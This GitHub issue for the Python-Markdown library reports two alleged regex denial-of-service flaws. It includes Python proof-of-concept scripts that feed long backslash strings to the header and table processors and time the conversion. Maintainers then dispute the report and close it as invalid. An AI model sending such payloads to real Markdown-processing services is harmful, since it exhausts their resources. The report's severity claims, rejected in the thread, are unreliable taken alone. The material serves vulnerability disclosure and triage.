Repository navigation
Closed as not planned
Labels
invalidInvalid report (user error, upstream issue, etc).
Description
Affected Code
https://github.com/Python-Markdown/markdown (pypi: https://pypi.org/project/Markdown/)
Issue
The vulnerabilities identified in the provided code snippet is a type of Regular Expression Denial of Service (ReDoS) attack. This issue arises when a piece of code utilizes regular expressions (regex) in a way that can be exploited to cause a significantly long processing time.
Impact
Resource exhaustion, leading to denial of service
Tested Version
3.8.2 (latest)
Credit
Sajeeb Lohani (Bugcrowd Security Innovation Lab)
Proof of Concept
There are actually two vulnerabilities here, so I believe there should be two CVEs.
# redos_utils.py
import time
def timer(func):
def wrapper(*args, **kwargs):
start_time = time.time()
result = func(*args, **kwargs)
end_time = time.time()
elapsed_time = end_time - start_time
print(f"Function '{func.__name__}' executed in {elapsed_time:.4f}s")
return result
return wrapper
def sizer(func):
def wrapper(*args, **kwargs):
result = func(*args, **kwargs)
print(f"Payload length: {args[0]}\nPayload size: {len(result.encode()) / (1024 ** 2)} MB")
return result
return wrapper# exploit_hash_header.py
from redos_utils import sizer, timer
import markdown
@sizer
def create_payload(char_length: int):
# Create a payload that will trigger the ReDOS in HashHeaderProcessor
# Pattern: (?:^|\n)(?P<level>#{1,6})(?P<header>(?:\\.|[^\\])*?)#*(?:\n|$)
# The vulnerable part is (?:\\.|[^\\])*? - many backslashes followed by a non-matching character
return "#" + "\\" * char_length + "X"
@timer
def redos_poc_runner(char_length: int):
payload = create_payload(char_length)
md = markdown.Markdown()
md.convert(payload)
if __name__ == '__main__':
print("Testing HashHeaderProcessor ReDOS vulnerability...")
print("Pattern: (?:^|\\n)(?P<level>#{1,6})(?P<header>(?:\\\\.|[^\\\\])*?)#*(?:\\n|$)")
print("Location: markdown/blockprocessors.py:461")
print()
redos_poc_runner(100)
redos_poc_runner(1000)
redos_poc_runner(2000)
redos_poc_runner(5000)
redos_poc_runner(10000)
redos_poc_runner(20000)
redos_poc_runner(30000)
redos_poc_runner(50000)
print()
print("Final demonstration with 75000 characters (>2s delay):")
redos_poc_runner(75000)# exploit_table.py
from redos_utils import sizer, timer
import markdown
@sizer
def create_payload(char_length: int):
# Create a payload that will trigger the ReDOS in TableProcessor
# Pattern: (?<!\\)(?:\\)*\|$
# The vulnerable part is (?:\\)* - many escaped backslashes
return "\\" * char_length + "|"
@timer
def redos_poc_runner(char_length: int):
payload = create_payload(char_length)
md = markdown.Markdown(extensions=['tables'])
md.convert(payload)
if __name__ == '__main__':
print("Testing TableProcessor ReDOS vulnerability...")
print("Pattern: (?<!\\\\)(?:\\\\)*\\|$")
print("Location: markdown/extensions/tables.py:42")
print()
redos_poc_runner(100)
redos_poc_runner(1000)
redos_poc_runner(2000)
redos_poc_runner(5000)
redos_poc_runner(10000)
redos_poc_runner(20000)
redos_poc_runner(30000)
print()
print("Final demonstration with 35000 characters (>2s delay):")
redos_poc_runner(35000)Metadata
Metadata
Assignees
Labels
invalidInvalid report (user error, upstream issue, etc).
Activity
waylan commentedon Jul 15, 2025
The first issue (at markdown/blockprocessors.py:461) appears to have been introduced in #763 and the second (at markdown/extensions/tables.py:42) seems to have been introduced in #530. @facelessuser you committed those changes, albeit over 7 years ago. Do you have any thoughts. In both cases it's not clear to me why we need to match one or more (some variation of
\\*). Why the need to match an endless string of backslashes? If I am understanding correctly, we can eliminate the reported issue if we can limit the number of consecutive backslashes matched.facelessuser commentedon Jul 15, 2025
So, this is properly processing escapes vs non-escapes in the given scenarios. If there is a better way, I'm open to it.
Granted, the escapes would be further processed normally, but you can the hashes getting preserved and not preserved.
waylan commentedon Jul 16, 2025
It seems that the issue here is that there can be consecutive backslashes, some of which escape backslashes and the last of which may or may not escape the character that follows (
|or#in the two examples). Whether the last backslash escapes the character that follows depends on whether there is an even or odd number of backslashes in total (if odd, the last backslash escapes the character that follows; if even, the last backslash is escaped by the proceeding backslash and has no effect in the character that follow). In other words, we do need to match all of the backslashes to determine if the last one is to have an effect on the character that follows.As an aside, the remaining backslashes (the even pairs) are processed later by an inline processor. The only reason we are doing any backslash escape processing here is to account for escaped block-level tokens. We don't really care about the inline escapes. But we do need to ensure that a backslash actually applies to a block-level token before processing it.
So, the next question is, can we rewrite the existing expressions in a way that cannot be exploited to cause a significantly long processing time while maintaining the current behavior?
waylan commentedon Jul 16, 2025
I suppose that a better first question is: does this apply to any character matched with zero-or-more (
*)? If so, then this same exploit can be made with any number of characters and we would need to significantly rewrite the entire parser to avoid zero-or-more matches in regular expressions. If that is the case, then I expect that we will just leave things as-is. However, if this is unique to backslashes for some reason, then it may be worth exploring a resolution.facelessuser commentedon Jul 16, 2025
I'd have to take a closer look at the code and see if it can be refactored away. The backslashes need to be considered, but does it have to be done with regex? Maybe not, depending on the context of the code.
Are there more cases? Considering the parser is heavily regex-based, it would not surprise me, but maybe many cases can be reduced or given limits...
wsparks-vc commentedon Jul 23, 2025
Thanks for analysis. Has there been any movement on a fix?
facelessuser commentedon Jul 23, 2025
No, I haven't had time yet to investigate further.
facelessuser commentedon Jul 23, 2025
So, when I run this, as it is currently configured:
When I limit it to from
*to{,5}, I'm not seeing a significant difference. A difference, albeit a small one. I haven't tested the header one yet.facelessuser commentedon Jul 23, 2025
Even when I remove all the star slashes, it still doesn't drop that much:
It seems this test is flawed anyway as it is also timing the creation of the giant string.
facelessuser commentedon Jul 23, 2025
Even when restructuring to only time convert, it's about the same 🤷🏻.
waylan commentedon Jul 24, 2025
Sorry, I'm not sure I follow. What is the same?
facelessuser commentedon Jul 25, 2025
I didn't post the results, but I reworked the scripts to only time the conversion, not the creation of the strings and instantiation of the Markdown object, etc. The conversion is where the bulk of the time is spent. Regardless, simply limiting
*to a specific number won't have a large enough difference. I will need to try some other approaches when I get some time.wsparks-vc commentedon Aug 14, 2025
Hello all, for context: this vulnerability was reported to us via our CVD form here: https://www.vulncheck.com/advisories/report and we follow this disclosure policy: https://www.vulncheck.com/vulnerability-disclosure-policy. Admittedly, this process has been altered due to this being an open-source project with a public reporting forum. We will be assigning a CVE for this vuln by 11/12/2025, if not earlier (assuming there is a fix earlier) and ideally with a fix. Thanks for taking the time!
facelessuser commentedon Aug 14, 2025
I was never able to reproduce the >2 second claim for the table (where I was currently focused), my computer was at worst around ~0.6s. So the initial test was likey tested on a slower computer generally.
I refactored the code to not use regex to check for a pipe at the end using various methods. Here's just one example.
I could not get it under ~0.6 on my machine. We must validate that the end pipe is a valid table pipe, not an escaped pipe, that is what is taking the time, not the regex being inefficient.
So I replaced the regex with:
Still ~0.6s, and no regex doing the check.
(?<!\\\\)(?:\\\\)*\\|$is not the problem. The problem is that Python Markdown is processing a ton of characters. We have to get context of all these characters. Are the backslashes escapes? Are they not escapes? Python Markdown also runs multiple passes for blocks, inines, treeprocessors, etc. You would have to redesign Python Markdown from the bottom up. I'm not sure what to else to say.So what about headers? I was able to get > ~2s with the headers test, but again, even if you take out the check for slashes and just simplify, it will take about the same time:
Now we just take anything for the header, slashes included, but we still get over 2s.
If Python Markdown was to "fix" any of these, it would fundamentally have to be rewritten as I suspect these cases are everywhere. Probably in emphasis patterns, etc.
This is being viewed as a security issue from a server perspective, but the server should probably terminate long running processes and limit large content if it is dynamically accepting random, untrusted content.
@waylan feel free to weigh in.
facelessuser commentedon Aug 14, 2025
So, I did a test with just
"\\" * char_lengthand I got a long delay, so I imagine the issue comes simply from escape character handling, and not the regex of table or headers.waylan commentedon Aug 14, 2025
This appears to be an invalid report. The example provided in the initial report is faulty as discussed above. I am inclined to close this as wontfix/invalid.
facelessuser commentedon Aug 14, 2025
The thing that is taking a long time is processing thousands of escapes (creating placeholders and then restoring them). I'm not sure there is anything we can do there, just due to how Python Markdown is designed.
facelessuser commentedon Aug 14, 2025
I also agree that the premise of the bug is faulty.
Fix quadratic-time backtracking in hash header regex